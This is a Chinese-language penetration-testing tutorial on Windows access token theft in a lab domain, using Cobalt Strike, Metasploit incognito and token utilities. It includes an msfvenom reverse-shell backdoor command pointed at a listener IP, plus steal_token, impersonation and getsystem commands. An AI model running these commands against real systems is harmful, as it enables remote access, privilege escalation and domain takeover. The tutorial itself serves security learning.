内网渗透-令牌窃取
内网渗透-令牌窃取
前言
本来应该早些写的,但想来想去令牌窃取没太多东西,就慢慢给忘了,今天来补一下。
令牌窃取主要就是用msf、cs还有incognito.exe
令牌
令牌是系统的临时密钥,相当于账号和密码,用来决定是否允许此次请求和判断是属于哪一个用户的。它允许用户在不提供密码或者其他凭证的前提下,访问网络和资源。这些令牌将持续存在于系统之中,除非系统重新启动。令牌最大的特点是随机性、不可预测,黑客和软件均无法猜测出令牌。
令牌的种类有很多,如:
(1)访问令牌(Access Tokem):表示访问控制操作系统的对象。
(2)会话令牌(Session Token):是交互会话中唯一身份标识符。
(3)密保令牌(Scecurity Token):又称认证令牌或硬件令牌,是一种计算机身份检验的物理设备。
Windows的Access Token也有两种类型,如:
(1)授权令牌(Delegation Tokens):它支持交互式登录,例如远程桌面、用户桌面访问。
(2)模拟令牌(Impersonation Tokens):它支持非交互式的绘画,例如访问目标共享文件。
两种令牌会在系统重启后才会清除。授权令牌在用户注销后,该令牌会变为模拟令牌,依然起效。
不同的用户登录计算机后, 都会生成一个Access Token,这个Token在用户创建进程或者线程时会被使用,不断的拷贝,这也就解释了A用户创建一个进程而该进程没有B用户的权限。
用户启用一个进程,用户的凭证就会传递给此进程,进程通过凭证来获得用户能够得到的信息。当机器开启了一些程序就会有对应的进程,进程对应启动程序的用户
环境搭建
1 | 域名: q1ngchuan.lab |
CobaltStrike 进行令牌窃取
首先我们模仿我们拿下来域内的一台普通用户的机器WIN1(hack)
查看进程,发现都是hack用户运行的
查找域管进程
假设域管运行了一个calc.exe
先以管理员的身份运行cmd.exe,然后calc.exe
Metasploit进行令牌窃取
1 | use incognito #加载incognito模块 |
先生成一个msf的后门shell.exe。
1 | msfvenom -p windows/x64/meterpreter/reverse_tcp LPORT=1444 LHOST=192.168.102.130 -f exe -o shell.exe |
开启监听
1 | msfconsole |
进入incognito模块并列举访问令牌,windows下可以列举出授权令牌 (Delegation Token)和模拟令牌(Impresonation)这两种访问令牌。
1 | use incognito #加载incognito模块 |
伪造令牌,模拟system权限的用户
1 | getuid #查看当前token |
除了可以伪造令牌,也可以从进程里窃取令牌。首先使用 ps 命令列出进程,查看进程用户
查看好拥有system权限的进程的pid,然后使用 steal_token命令,窃取进程对应的令牌就有对应的权限。
1 | steal_token 744 |
直接利用system窃取令牌,然后返回之前的 token。
1 | getsystem # 提升至system 权限 |
JCTokenUtils.exe程序
incognito.exe程序我在网上搜不到了,用的JCTokenUtilhttps://github.com/chroblert/JCTokenUtil
基于incognito的代码进行编写的
1 | TokenUtil_x64.exe ListTokens |
1 | TokenUtil_x64.exe Execute -p 572 -e whoami -c |
类似的还有https://github.com/BeichenDream/SharpToken
未完待续…